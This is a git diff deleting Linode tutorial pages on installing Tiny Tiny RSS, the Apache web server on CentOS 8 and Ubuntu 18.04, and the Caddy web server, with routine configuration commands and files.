`/var/www/html` directory at the root, which means you will access the application at the root URL of your webserver (for example, at http://myserver). -If you would prefer to use Tiny Tiny RSS under a separate URL (for example, at http://myserver/tt-rss), you can change the directory indicated in the `git clone` command to `/var/www/html/tt-rss`. - -If you decide to use a different location, note that you'll need to replace instances of `/var/www/html` in your Apache `ttrss.conf` file with the directory of your choosing. -{{< /note >}} - -3. Restart Apache to ensure that your changes have been applied: - - sudo systemctl restart httpd - -## Configure Tiny Tiny RSS - -At this point the application should be accessible under Apache. As an example, if your Linode had the IP address of `1.2.3.4`, browsing to `http://1.2.3.4` should result in the following screen: - -![Tiny Tiny RSS Installation Page](tiny-tiny-rss-install-page.png) - -1. Fill in the fields with the appropriate information: - - * From the **Database type** dropdown, choose `MySQL`. - * Under **Username**, fill in `ttrss`. - * Under **Password**, fill in the password chosen when setting up the ttrss database in MariaDB/MySQL. - * Use `ttrss` as the Database name. - * The **Host name** and **Port** fields can be left blank. - * The **Tiny Tiny RSS URL** section should automatically populate with the correct IP address for your Linode. If you are accessing your Linode via a DNS name instead of an IP address, be sure update the field to reflect this. - -2. After filling in the fields, click **Test configuration** to perform a preliminary check of your setup. If everything is ready, click the **Initialize database** button. - - {{< note respectIndent=false >}} -Initializing the database will wipe all data in the `ttrss` database. -If you are installing over a previous installation, perform any backups as necessary. -{{< /note >}} - -3. After the application initializes the MariaDB database, a message should appear warning you that TinyRSS cannot update `config.php` because the parent directory is not writeable. This is a *good* thing because any potential vulnerabilities in the web application cannot write files to disk. In order to finish configuring the application, follow the instructions to copy the full contents of the text box beginning with `}} -}} - - - If you need to customize your Tiny Tiny RSS configuration further (for example, if you have an SMTP server that you wish to use in conjunction with Tiny Tiny RSS to email you with feed news), you should do so by editing `config.php` now. - -4. Before using Tiny Tiny RSS, a few directory permissions must be changed so that Apache can write to them. The following commands will change only the necessary directories that require additional permissions: - - cd /var/www/html - sudo chgrp -R apache cache lock feed-icons - sudo chmod -R g+w cache lock feed-icons - -5. This command must be used to permit Apache to write to these directories on CentOS 7 systems with SELinux enabled. If SELinux has been disabled (check the output of the `sestatus` command if unsure), this step is not necessary: - - sudo chcon -R unconfined_u:object_r:httpd_sys_rw_content_t:s0 cache feed-icons lock - -### Feed Updates - -Now that Tiny Tiny RSS is up and running, create a systemd unit to automate the updating of your RSS feed. Create a file under `/etc/systemd/system/ttrss-updater.service` and copy the following information into it: - -{{< file "/etc/systemd/system/ttrss-updater.service" ini >}} -[Unit] -Description=ttrss_backend -After=network.target mysql.service - -[Service] -User=apache -ExecStart=/var/www/html/update_daemon2.php - -[Install] -WantedBy=multi-user.target - -{{< /file >}} - - -Start the service, and enable it to start at boot: - - sudo systemctl enable --now ttrss-updater - -## Using the Application - -1. Browse to the URL of your server, which should render the Tiny Tiny RSS login page: - - ![Tiny Tiny RSS Login Page](tiny-tiny-rss-login.png) - -2. Log in with the username `admin` and default password `password`. - -3. Change the administrator password to something stronger by clicking the **Actions** button in the top-right corner of the Tiny Tiny RSS main page. Select **Preferences**, then click the **Users** tab that appears. Click on the `admin` user and you'll see the following screen, with the option to change the user password: - - ![Tiny Tiny RSS User Editor](ttrss-user-editor.png) - - Note that if you prefer to log in with a less privileged user, you can create additional users from the **Users** page, by clicking **Create user**. - -At this point you can begin using Tiny Tiny RSS to subscribe to and read feeds. To get started, click on the **Actions** button (click *Exit preferences* if you are still in the preferences panel), and click the **Subscribe to feed...** link. diff --git a/docs/guides/web-servers/apache/how-to-install-apache-web-server-centos-8/index.md b/docs/guides/web-servers/apache/how-to-install-apache-web-server-centos-8/index.md deleted file mode 100644 index ee82a6e1be5..00000000000 --- a/docs/guides/web-servers/apache/how-to-install-apache-web-server-centos-8/index.md +++ /dev/null @@ -1,409 +0,0 @@ ---- -slug: how-to-install-apache-web-server-centos-8 -title: 'Installing Apache Web Server on CentOS 8' -title_meta: 'How to Install Apache Web Server on CentOS 8' -description: 'Install Apache on your CentOS 8 server, configure virtual hosting, and set up modules and scripting.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2020-03-19 -keywords: ["apache", "centos", "centos 8", "http", "web server"] -tags: ["centos","web server","apache"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[Apache HTTP Server Version 2.4 Documentation](http://httpd.apache.org/docs/2.4/)' - - '[Apache Configuration](/cloud/guides/web-servers/apache-tips-and-tricks/)' -image: InstallApache_CentOS8.png -relations: - platform: - key: install-apache-server - keywords: - - distribution: CentOS 8 -aliases: ['/web-servers/apache/how-to-install-apache-web-server-centos-8/'] ---- - -The *Apache HTTP Web Server* (Apache) is an open source web application for deploying web servers. This guide explains how to install and configure an Apache web server on CentOS 8. - -If instead you would like to install a full LAMP (Linux, Apache, MySQL and PHP) stack, please see the [How to Install a LAMP Stack on CentOS 8](/cloud/guides/how-to-install-a-lamp-stack-on-centos-8/) guide. - -## Before You Begin - -1. Set up your Linode in the [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) and [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide. - -1. If you want a custom domain name for your site, you can set this up using our [DNS Manager](https://techdocs.akamai.com/cloud-computing/docs/dns-manager) guide. - - - Don't forget to update your `/etc/hosts` file with your Linode's public IP address and your site's fully qualified domain name as explained in the [Update Your System's hosts File](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#update-your-systems-hosts-file) section of the [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide. - -1. Install the SELinux core policy Python utilities. This will give you the ability to manage SELinux settings in a fine-grained way. - - sudo yum install -y policycoreutils-python-utils - - {{% content "limited-user-note-shortguide" %}} - -## Install Apache - -1. Install Apache 2.4: - - sudo yum install httpd - -1. Enable and start the Apache service: - - sudo systemctl enable httpd.service - sudo systemctl start httpd.service - -1. Open the firewall for both http and https: - - sudo firewall-cmd --permanent --add-service=http - sudo firewall-cmd --permanent --add-service=https - -1. Reload the firewall: - - sudo firewall-cmd --reload - -## Multi-Processing Modules - -Apache 2.4 offers several multi-processing modules (MPMs) to handle connections. In CentOS 8 the default MPM is the *event module*, although the *prefork module* is still recommended if you’re using standard PHP. Below are the basic default settings. For detailed explanations and advanced settings for these modules, see the [Tuning Your Apache Server](/cloud/guides/tuning-your-apache-server/#multi-processing-modules) guide. - -1. You can check which MPM is currently configured with the following command: - - sudo httpd -V | grep -i mpm - - {{< output >}} -Server MPM: event -{{}} - -1. Before making changes to your configuration file, make a backup: - - sudo cp /etc/httpd/conf/httpd.conf ~/httpd.conf.backup - -### The Prefork Module - -The Prefork Module is ideal for single threaded applications. It's a single parent with multiple forked child servers that are identical processes which wait for incoming requests. Each child process handles a single request. The Prefork Module is resource intensive but necessary for applications that do not support multi-threading such as PHP. - -1. Add the following section to the `/etc/httpd/conf/httpd.conf` file in your text editor and edit the values as needed. The following are the default values: - - {{< file "/etc/httpd/conf/httpd.conf" aconf >}} - - StartServers 5 - MinSpareServers 5 - MaxSpareServers 10 - MaxRequestWorkers 150 - MaxConnectionsPerChild 0 - -{{}} - -1. On CentOS 8, the *event module* is enabled by default. Disable it, and enable the *prefork module* edit the `/etc/httpd/conf.modules.d/00-mpm.conf` file. Comment out the line for the event module and uncomment the line for the prefork module: - - {{< file "/etc/httpd/conf.modules.d/00-mpm.conf" aconf>}} -# Select the MPM module which should be used by uncommenting exactly -# one of the following LoadModule lines. See the httpd.conf(5) man -# page for more information on changing the MPM. - -# prefork MPM: Implements a non-threaded, pre-forking web server -# See: http://httpd.apache.org/docs/2.4/mod/prefork.html -# -# NOTE: If enabling prefork, the httpd_graceful_shutdown SELinux -# boolean should be enabled, to allow graceful stop/shutdown. -# -LoadModule mpm_prefork_module modules/mod_mpm_prefork.so - -# worker MPM: Multi-Processing Module implementing a hybrid -# multi-threaded multi-process web server -# See: http://httpd.apache.org/docs/2.4/mod/worker.html -# -#LoadModule mpm_worker_module modules/mod_mpm_worker.so - -# event MPM: A variant of the worker MPM with the goal of consuming -# threads only for connections with active processing -# See: http://httpd.apache.org/docs/2.4/mod/event.html -# -#LoadModule mpm_event_module modules/mod_mpm_event.so -{{}} - -1. Restart Apache: - - sudo systemctl restart httpd - -### The Worker Module - -The Worker Module is a hybrid Prefork, multi-threaded, multi-processor module. It's similar to the Prefork Module, but each child is multi-threaded. - -1. Add the following section to the `/etc/httpd/conf/httpd.conf` file in your text editor and edit the values as needed. The following are the default values: - - {{< file "/etc/httpd/conf/httpd.conf" conf >}} - - StartServers 2 - MinSpareThreads 25 - MaxSpareThreads 75 - ThreadLimit 64 - ThreadsPerChild 25 - MaxRequestWorkers 150 - MaxConnectionsPerChild 0 - -{{}} - -1. On CentOS 8, the *event module* is enabled by default. Disable it, and enable the *worker module* edit the `/etc/httpd/conf.modules.d/00-mpm.conf` file. Comment out the line for the event module and uncomment the line for the worker module: - - {{< file "/etc/httpd/conf.modules.d/00-mpm.conf" aconf>}} -# Select the MPM module which should be used by uncommenting exactly -# one of the following LoadModule lines. See the httpd.conf(5) man -# page for more information on changing the MPM. - -# prefork MPM: Implements a non-threaded, pre-forking web server -# See: http://httpd.apache.org/docs/2.4/mod/prefork.html -# -# NOTE: If enabling prefork, the httpd_graceful_shutdown SELinux -# boolean should be enabled, to allow graceful stop/shutdown. -# -#LoadModule mpm_prefork_module modules/mod_mpm_prefork.so - -# worker MPM: Multi-Processing Module implementing a hybrid -# multi-threaded multi-process web server -# See: http://httpd.apache.org/docs/2.4/mod/worker.html -# -LoadModule mpm_worker_module modules/mod_mpm_worker.so - -# event MPM: A variant of the worker MPM with the goal of consuming -# threads only for connections with active processing -# See: http://httpd.apache.org/docs/2.4/mod/event.html -# -#LoadModule mpm_event_module modules/mod_mpm_event.so -{{}} - -1. Restart Apache: - - sudo systemctl restart httpd - -### The Event Module - -The Event Module is similar to the Worker Module except each thread has a dedicated listener so that threads are not locked in wait. As of Apache 2.4 the Event Module is considered stable, for versions before 2.4, use the [Worker Module](#the-worker-module). - -1. If you choose to keep the *event module* enabled, open `/etc/httpd/conf/httpd.conf` in your text editor, add this section to the end, and edit the values as needed. The following are the default values: - - {{< file "/etc/httpd/conf/httpd.conf" aconf >}} - - StartServers 2 - MinSpareThreads 25 - MaxSpareThreads 75 - ThreadLimit 64 - ThreadsPerChild 25 - MaxRequestWorkers 150 - MaxConnectionsPerChild 0 - -{{}} - -1. Be sure the *event module* is enabled. Edit the `/etc/httpd/conf.modules.d/00-mpm.conf` file. Comment out the lines for the prefork and worker modules and uncomment the line for the event module: - - {{< file "/etc/httpd/conf.modules.d/00-mpm.conf" aconf>}} -# Select the MPM module which should be used by uncommenting exactly -# one of the following LoadModule lines. See the httpd.conf(5) man -# page for more information on changing the MPM. - -# prefork MPM: Implements a non-threaded, pre-forking web server -# See: http://httpd.apache.org/docs/2.4/mod/prefork.html -# -# NOTE: If enabling prefork, the httpd_graceful_shutdown SELinux -# boolean should be enabled, to allow graceful stop/shutdown. -# -#LoadModule mpm_prefork_module modules/mod_mpm_prefork.so - -# worker MPM: Multi-Processing Module implementing a hybrid -# multi-threaded multi-process web server -# See: http://httpd.apache.org/docs/2.4/mod/worker.html -# -#LoadModule mpm_worker_module modules/mod_mpm_worker.so - -# event MPM: A variant of the worker MPM with the goal of consuming -# threads only for connections with active processing -# See: http://httpd.apache.org/docs/2.4/mod/event.html -# -LoadModule mpm_event_module modules/mod_mpm_event.so -{{}} - -1. Restart Apache: - - sudo systemctl restart httpd - -## Configure Virtual Hosting - -Apache supports *name-based virtual hosting*, which allows you to host multiple domains on a single server with a single IP. Although there are different ways to set up virtual hosts, the method below is recommended. - -1. Create the directories for the virtual hosts: - - sudo mkdir /etc/httpd/sites-available - sudo mkdir /etc/httpd/sites-enabled - -1. Edit the `/etc/httpd/conf/httpd.conf` configuration file to tell Apache to look at these new directories for virtual hosts. Add the following line: - - {{< file "/etc/httpd/conf/httpd.conf" aconf >}} -IncludeOptional sites-enabled/*.conf -{{}} - -1. Create an `example.com.conf` file in `/etc/httpd/sites-available` with your text editor, replacing instances of `example.com` with your own domain URL in both the configuration file and in the file name: - - {{< file "/etc/httpd/sites-available/example.com.conf" aconf >}} - - ServerAdmin webmaster@example.com - ServerName example.com - ServerAlias www.example.com - DocumentRoot /var/www/example.com/public_html/ - ErrorLog /var/www/example.com/logs/error.log - CustomLog /var/www/example.com/logs/access.log combined - -{{}} - - Repeat this process for any other domains you host. - -1. Create a symbolic link to the sites-enabled directory for each virtual host: - - sudo ln -s /etc/httpd/sites-available/example.com.conf /etc/httpd/sites-enabled/example.com.conf - -1. Create directories for your websites and websites' logs, replacing `example.com` with your own domain information: - - sudo mkdir -p /var/www/example.com/public_html - sudo mkdir /var/www/example.com/logs - -1. Change the ownership of the `public_html` directory to yourself: - - sudo chown -R $USER:$USER /var/www/example.com/public_html - -1. Change the permissions on the `/var/www` directory: - - sudo chmod -R 755 /var/www - -1. Create a simple page for your `index.html`. - - {{< file "/var/www/example.com/public_html/index.html" html >}} - - - - Hello World - - -

Hello World! This is my sample website with Apache on CentOS!

- - -{{}} - -1. Configure SELinux policies on the log directory for each virtual host. This will allow Apache to create and write to the log files. The `restorecon` command applies this setting and persists after a reboot: - - sudo semanage fcontext -a -t httpd_log_t "/var/www/example.com/logs(/.*)?" - sudo restorecon -R -v /var/www/example.com/logs - -1. You'll see the following output: - - {{< output >}} -Relabeled /var/www/example.com/logs from unconfined_u:object_r:httpd_sys_content_t:s0 to unconfined_u:object_r:httpd_log_t:s0 -{{}} - -1. Use can further confirm setting was successful by using the following command: - - sudo ls -dZ /var/www/example.com/logs/ - - {{< output >}} -unconfined_u:object_r:httpd_log_t:s0 /var/www/example.com/logs -{{}} - - You should see `httpd_log_t` in this line. - -1. Restart Apache: - - sudo systemctl restart httpd - -1. Visit your site by navigating to your domain name in the web browser. - - ![Sample Website Loaded in Browser](install-apache-example-website-centos.png "Sample Website Loaded in Browser") - -## Apache Mods and Scripting - -### Install Apache Modules - -One of Apache's strengths is its ability to be customized with modules. The default installation directory for Apache modules is the `/etc/httpd/modules/` directory. Configuration directives for the default modules are located in `/etc/httpd/conf/httpd.conf`, while configuration options for optional modules installed with yum are generally placed in `.conf` files in `/etc/httpd/conf.d/`. - -1. List available Apache modules: - - sudo yum search mod_ - -1. Install any desired modules: - - sudo yum install [module-name] - - Modules should be enabled and ready to use following installation. - -### Optional: Install Support for Scripting - -The following commands install Apache support for server-side scripting in Perl, Python, and PHP. Support for these languages is optional based on your server environment. - -Install the EPEL repository: - - sudo yum install epel-release - -To install: - -- Perl support: - - sudo yum install mod_perl - -- Python support: - - sudo yum install mod_wsgi - -- PHP support: - - sudo yum install php php-pear - -## Check Server Status - -You can check your Apache web server status with the following command: - - sudo systemctl status httpd - -The output will look similar to the following: - -{{< output >}} -● httpd.service - The Apache HTTP Server - Loaded: loaded (/usr/lib/systemd/system/httpd.service; enabled; vendor preset: disab> - Active: active (running) since Tue 2020-03-03 08:32:02 EST; 10s ago - Docs: man:httpd.service(8) - Main PID: 4251 (httpd) - Status: "Running, listening on: port 80" - Tasks: 213 (limit: 5083) - Memory: 24.2M - CGroup: /system.slice/httpd.service - ├─4251 /usr/sbin/httpd -DFOREGROUND - ├─4252 /usr/sbin/httpd -DFOREGROUND - ├─4253 /usr/sbin/httpd -DFOREGROUND - ├─4254 /usr/sbin/httpd -DFOREGROUND - └─4255 /usr/sbin/httpd -DFOREGROUND -{{}} - -- From here you can see that the server is running successfully. However, if something isn't working correctly, you can check the logs for errors. The logs locations are defined for each virtual host you set up in [Configure Virtual Hosting](#configure-virtual-hosting). - -- Typically they will be at `/var/www/example.com/logs/error.log` and `/var/www/example.com/logs/access.log` where `example.com` is your domain name. - -## Controlling Apache - -You can control the server in the following ways. - -1. Stopping the server when it's running: - - sudo systemctl stop httpd - -1. Start the server when it's stopped: - - sudo systemctl start httpd - -1. Stop and start the server when it's running: - - sudo systemctl restart httpd - -1. Reload the configurations while the server is running without stopping it: - - sudo systemctl reload httpd - -1. You can disable Apache so that it stops and doesn't restart again when rebooting the system: - - sudo systemctl disable httpd - -1. To re-enable Apache if it's been disabled. This will also enable it to restart when the system reboots: - - sudo systemctl enable httpd \ No newline at end of file diff --git a/docs/guides/web-servers/apache/how-to-install-apache-web-server-ubuntu-18-04/index.md b/docs/guides/web-servers/apache/how-to-install-apache-web-server-ubuntu-18-04/index.md deleted file mode 100644 index 2d56db76b32..00000000000 --- a/docs/guides/web-servers/apache/how-to-install-apache-web-server-ubuntu-18-04/index.md +++ /dev/null @@ -1,373 +0,0 @@ ---- -slug: how-to-install-apache-web-server-ubuntu-18-04 -title: 'Installing Apache Web Server on Ubuntu 18.04 LTS' -title_meta: 'How to Install Apache Web Server on Ubuntu 18.04 LTS' -description: 'Install Apache on your Ubuntu 18.04 LTS server, configure virtual hosting, and set up modules and scripting.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2015-07-31 -modified: 2018-12-31 -keywords: ["apache", "ubuntu", "ubuntu 18.04", "http", "web server"] -tags: ["web server","apache","ubuntu"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[Apache HTTP Server Version 2.4 Documentation](http://httpd.apache.org/docs/2.4/)' - - '[Apache Configuration](/cloud/guides/web-servers/apache-tips-and-tricks/)' -image: InstallApache_Ubuntu1804LTS.png -relations: - platform: - key: install-apache-server - keywords: - - distribution: Ubuntu 18.04 -aliases: ['/web-servers/apache/how-to-install-apache-web-server-ubuntu-18-04/','/web-servers/apache/installation/ubuntu-10.10-maverick/','/web-servers/apache/installation/ubuntu-12.04-precise-pangolin/'] ---- - -The *Apache HTTP Web Sever* (Apache) is an open source web application for deploying web servers. This guide explains how to install and configure an Apache web server on Ubuntu 18.04 LTS. - -If instead you would like to install a full LAMP (Linux, Apache, MySQL and PHP) stack, please see the [How to Install a LAMP Stack on Ubuntu 18.04](/cloud/guides/how-to-install-a-lamp-stack-on-ubuntu-18-04/) guide. - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you're not familiar with the `sudo` command, you can check our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Before You Begin - -1. Set up your Linode in the [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) and [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide. - -1. If you want a custom domain name for your site, you can set this up using our [DNS Manager](https://techdocs.akamai.com/cloud-computing/docs/dns-manager) guide. - - - Don't forget to update your `/etc/hosts` file with the public IP address and your site's fully qualified domain name as explained in the [Update Your System's hosts File](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#update-your-systems-hosts-file) section of the [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide. - - {{% content "limited-user-note-shortguide" %}} - -## Install Apache - -Install Apache 2.4: - - sudo apt-get install apache2 - -## Multi-Processing Modules - -Apache 2.4 offers several multi-processing modules (MPMs) to handle connections. In Ubuntu 18.04 LTS the default MPM is the *event module*, although the *prefork module* is still recommended if you’re using standard PHP. Below are the basic default settings. For detailed explanations and advanced settings for these modules, see the [Tuning Your Apache Server](/cloud/guides/tuning-your-apache-server/#multi-processing-modules) guide. - -1. You can check which MPM is currently configured with the following command: - - sudo apachectl -V | grep -i mpm - - {{< output >}} -Server MPM: event -{{}} - -### The Prefork Module - -The Prefork Module is ideal for single threaded applications. It's a single parent with multiple forked child servers that are identical processes which wait for incoming requests. Each child process handles a single request. The Prefork Module is resource intensive but necessary for applications that do not support multi-threading such as PHP. - -1. Open `/etc/apache2/mods-available/mpm_prefork.conf` in your text editor and edit the values as needed. The following are the default values: - - {{< file "/etc/apache2/mods-available/mpm_prefork.conf" conf >}} -# prefork MPM -# StartServers: number of server processes to start -# MinSpareServers: minimum number of server processes which are kept spare -# MaxSpareServers: maximum number of server processes which are kept spare -# MaxRequestWorkers: maximum number of server processes allowed to start -# MaxConnectionsPerChild: maximum number of requests a server process serves - - - StartServers 5 - MinSpareServers 5 - MaxSpareServers 10 - MaxRequestWorkers 150 - MaxConnectionsPerChild 0 - - -# vim: syntax=apache ts=4 sw=4 sts=4 sr noet -{{}} - -1. On Ubuntu 18.04, the *event module* is enabled by default. Disable it, and enable the *prefork module* : - - sudo a2dismod mpm_event - sudo a2enmod mpm_prefork - -1. Restart Apache: - - sudo service apache2 restart - -### The Worker Module - -The Worker Module is a hybrid Prefork, multi-threaded, multi-processor module. It's similar to Prefork, but each child is multi-threaded. - -1. Open `/etc/apache2/mods-available/mpm_worker.conf` in your text editor and edit the values as needed. The following are the default values: - - {{< file "/etc/apache2/mods-available/mpm_worker.conf" conf >}} -# worker MPM -# StartServers: initial number of server processes to start -# MinSpareThreads: minimum number of worker threads which are kept spare -# MaxSpareThreads: maximum number of worker threads which are kept spare -# ThreadLimit: ThreadsPerChild can be changed to this maximum value during a -# graceful restart. ThreadLimit can only be changed by stopping -# and starting Apache. -# ThreadsPerChild: constant number of worker threads in each server process -# MaxRequestWorkers: maximum number of threads -# MaxConnectionsPerChild: maximum number of requests a server process serves - - - StartServers 2 - MinSpareThreads 25 - MaxSpareThreads 75 - ThreadLimit 64 - ThreadsPerChild 25 - MaxRequestWorkers 150 - MaxConnectionsPerChild 0 - - -# vim: syntax=apache ts=4 sw=4 sts=4 sr noet -{{}} - -1. On Ubuntu 18.04, the *event module* is enabled by default. Disable it, and enable the *worker module* : - - sudo a2dismod mpm_event - sudo a2enmod mpm_worker - -1. Restart Apache: - - sudo service apache2 restart - -### The Event Module - -The Event Module is similar to the Worker Module except each thread has a dedicated listener so that threads are not locked in wait. As of Apache 2.4 the Event Module is considered stable. For versions before 2.4, use the [Worker Module](#the-worker-module). - -1. If you choose to keep the *event module* enabled, open `/etc/apache2/mods-available/mpm_event.conf` in your text editor and edit the values as needed. The following are the default values: - - {{< file "/etc/apache2/mods-available/mpm_event.conf" conf >}} -# event MPM -# StartServers: initial number of server processes to start -# MinSpareThreads: minimum number of worker threads which are kept spare -# MaxSpareThreads: maximum number of worker threads which are kept spare -# ThreadsPerChild: constant number of worker threads in each server process -# MaxRequestWorkers: maximum number of worker threads -# MaxConnectionsPerChild: maximum number of requests a server process serves - - StartServers 2 - MinSpareThreads 25 - MaxSpareThreads 75 - ThreadLimit 64 - ThreadsPerChild 25 - MaxRequestWorkers 150 - MaxConnectionsPerChild 0 - - -# vim: syntax=apache ts=4 sw=4 sts=4 sr noet -{{}} - -1. Restart Apache: - - sudo service apache2 restart - -## Configure Virtual Hosting - -Apache supports *name-based virtual hosting*, which allows you to host multiple domains on a single server with a single IP. Although there are different ways to set up virtual hosts, the method below is recommended. - -1. Disable the default Apache virtual host: - - sudo a2dissite 000-default.conf - -1. Create an `example.com.conf` file in `/etc/apache2/sites-available` with your text editor, replacing instances of `example.com` with your own domain URL in both the configuration file and in the file name: - - {{< file "/etc/apache2/sites-available/example.com.conf" aconf >}} - - ServerAdmin webmaster@example.com - ServerName example.com - ServerAlias www.example.com - DocumentRoot /var/www/example.com/public_html/ - ErrorLog /var/www/example.com/logs/error.log - CustomLog /var/www/example.com/logs/access.log combined - -{{}} - - Repeat this process for any other domains you host. - - {{< note >}} - If you would like to enable Perl support, add the following lines above the closing `` tag: - - ```file {title="/etc/apache2/sites-available/example.com.conf" lang="aconf"} - Options ExecCGI - AddHandler cgi-script .pl - ``` - {{< /note >}} - -1. Create directories for your websites and websites' logs, replacing `example.com` with your own domain information: - - sudo mkdir -p /var/www/example.com/public_html - sudo mkdir /var/www/example.com/logs - -1. Create a simple page for your `index.html`. - - {{< file "/var/www/example.com/public_html/index.html" html >}} - - - - Hello World - - -

Hello World! This is my sample website with Apache on Ubuntu!

- - -{{}} - -1. Enable the site: - - sudo a2ensite example.com.conf - -1. Restart Apache: - - sudo service apache2 restart - -1. Visit your site by navigating to your domain name in the web browser. - - ![Sample Website Loaded in Browser](install-apache-example-website-ubuntu.png "Sample Website Loaded in Browser") - -## Apache Mods and Scripting - -### Install Apache Modules - -One of Apache's strengths is its ability to be customized with modules. The default installation directory for Apache modules is the `/etc/apache2/mods-available/` directory. - -1. List available Apache modules: - - sudo apt-cache search libapache2* - -1. Install any desired modules: - - sudo apt-get install [module-name] - -1. All mods are located in the `/etc/apache2/mods-available` directory. Edit the `.conf` file of any installed module if needed, then enable the module: - - sudo a2enmod [module-name] - - To disable a module that is currently enabled: - - a2dismod [module-name] - -### Optional: Install Support for Scripting - -The following commands install Apache support for server-side scripting in Perl, Python, and PHP. Support for these languages is optional based on your server environment. - -To install: - -- Perl support: - - sudo apt-get install libapache2-mod-perl2 - -- Python support: - - sudo apt-get install libapache2-mod-python - -- PHP support: - - sudo apt-get install libapache2-mod-php7.2 php7.2 php-pear - -## Check Server Status - -You can check your Apache web server status with the command: - - sudo systemctl status apache2 - -The output will look similar to the following: - -{{< output >}} -● apache2.service - The Apache HTTP Server - Loaded: loaded (/lib/systemd/system/apache2.service; enabled; vendor preset: enabled) - Drop-In: /lib/systemd/system/apache2.service.d - └─apache2-systemd.conf - Active: active (running) since Thu 2020-02-27 14:28:23 EST; 1h 19min ago - Main PID: 4296 (apache2) - Tasks: 55 (limit: 1108) - CGroup: /system.slice/apache2.service - ├─4296 /usr/sbin/apache2 -k start - ├─4300 /usr/sbin/apache2 -k start - └─4301 /usr/sbin/apache2 -k start -{{}} - -- From here you can see that the server is running successfully. However, if something isn't working correctly, you can check the logs for errors. The logs locations are defined for each virtual host you set up in [Configure Virtual Hosting](#configure-virtual-hosting). - -- Typically they will be at `/var/www/example.com/logs/error.log` and `/var/www/example.com/logs/access.log` where `example.com` is your domain name. - -## Controlling Apache - -You can control the server in the following ways. - -1. Stopping the server when it's running: - - sudo systemctl stop apache2 - -1. Start the server when it's stopped: - - sudo systemctl start apache2 - -1. Stop and start the server when it's running: - - sudo systemctl restart apache2 - -1. Reload the configurations while the server is running without stopping it: - - sudo systemctl reload apache2 - -1. You can disable Apache so that it stops and doesn't restart again when rebooting the system: - - sudo systemctl disable apache2 - -1. To re-enable Apache if it's been disabled. This will also enable it to restart when the system reboots: - - sudo systemctl enable apache2 - -### Optional: Firewall - -Depending on your firewall configuration, you may need to modify your settings to allow access to web ports. A common firewall for Ubuntu is [UFW](/cloud/guides/configure-firewall-with-ufw/). - -If you had UFW installed before you installed Apache, Apache will have registered with UFW during installation and provides some simple to use configurations. - -1. To view these options, run the following command: - - sudo ufw app list - - {{< output >}} -Available applications: -Apache -Apache Full -Apache Secure -OpenSSH -{{}} - -1. To view what these different configurations do, run this command: - - sudo ufw app info 'Apache' - - Replace `Apache` with `Apache Full` or `Apache Secure` to see information about those applications. Below is a table summary. - - | Profile | Title | Ports | - | ------- | ----- | ----- | - | Apache | Web Server | 80/tcp | - | Apache Full | Web Server (HTTP,HTTPS) | 80,443/tcp | - | Apache Secure | Web Server (HTTPS) | 443/tcp | - -1. To enable a profile use the following command: - - sudo ufw allow 'Apache' - - {{< output >}} -Rules updated -Rules updated (v6) -{{}} - -1. Verify the rules are updated with the following: - - sudo ufw status - - {{< output >}} -Status: active - -To Action From --- ----- ---- -Apache ALLOW Anywhere -Apache (v6) ALLOW Anywhere (v6) -{{}} \ No newline at end of file diff --git a/docs/guides/web-servers/caddy/how-to-install-and-configure-caddy-on-centos-8/index.md b/docs/guides/web-servers/caddy/how-to-install-and-configure-caddy-on-centos-8/index.md deleted file mode 100644 index 6a31be0c3cb..00000000000 --- a/docs/guides/web-servers/caddy/how-to-install-and-configure-caddy-on-centos-8/index.md +++ /dev/null @@ -1,134 +0,0 @@ ---- -slug: how-to-install-and-configure-caddy-on-centos-8 -title: "Install and Configure the Caddy Web Server on CentOS 8" -title_meta: "How to Install and Configure the Caddy Web Server on CentOS 8" -description: "In this guide, you will install the Caddy web server on CentOS 8. You will also configure Caddy to serve your site's domain over HTTPS." -authors: ["Linode"] -contributors: ["Linode"] -published: 2020-03-05 -keywords: ['web server','caddy','https','Caddyfile'] -tags: ["centos","web server"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -relations: - platform: - key: install-caddy-server - keywords: - - distribution: CentOS 8 -aliases: ['/web-servers/caddy/how-to-install-and-configure-caddy-on-centos-8/'] ---- - -[Caddy](https://caddyserver.com/) is a fast, open-source, and security-focused web server written in [Go](https://golang.org/). Caddy includes modern features such as support for virtual hosts, minification of static files, and HTTP/2. Caddy is also the first web-server that can obtain and renew SSL/TLS certificates automatically using [Let's Encrypt](https://letsencrypt.org/). - -## Before You Begin - -1. Familiarize yourself with our [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide and complete the steps for setting your Linode's [hostname](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-custom-hostname) and [timezone](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#set-the-timezone). - -1. Complete the sections of our [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to [create a standard user account](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#add-a-limited-user-account), and [harden SSH access](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#harden-ssh-access). - -1. Register (purchase) your site's domain name and follow our [Manage DNS Records](https://techdocs.akamai.com/cloud-computing/docs/manage-dns-records) guide to point the domain to your Linode. - -1. Update your system: - - sudo yum update - -1. Install the SELinux core policy Python utilities. This gives you the ability to manage SELinux settings in a fine-grained way. - - 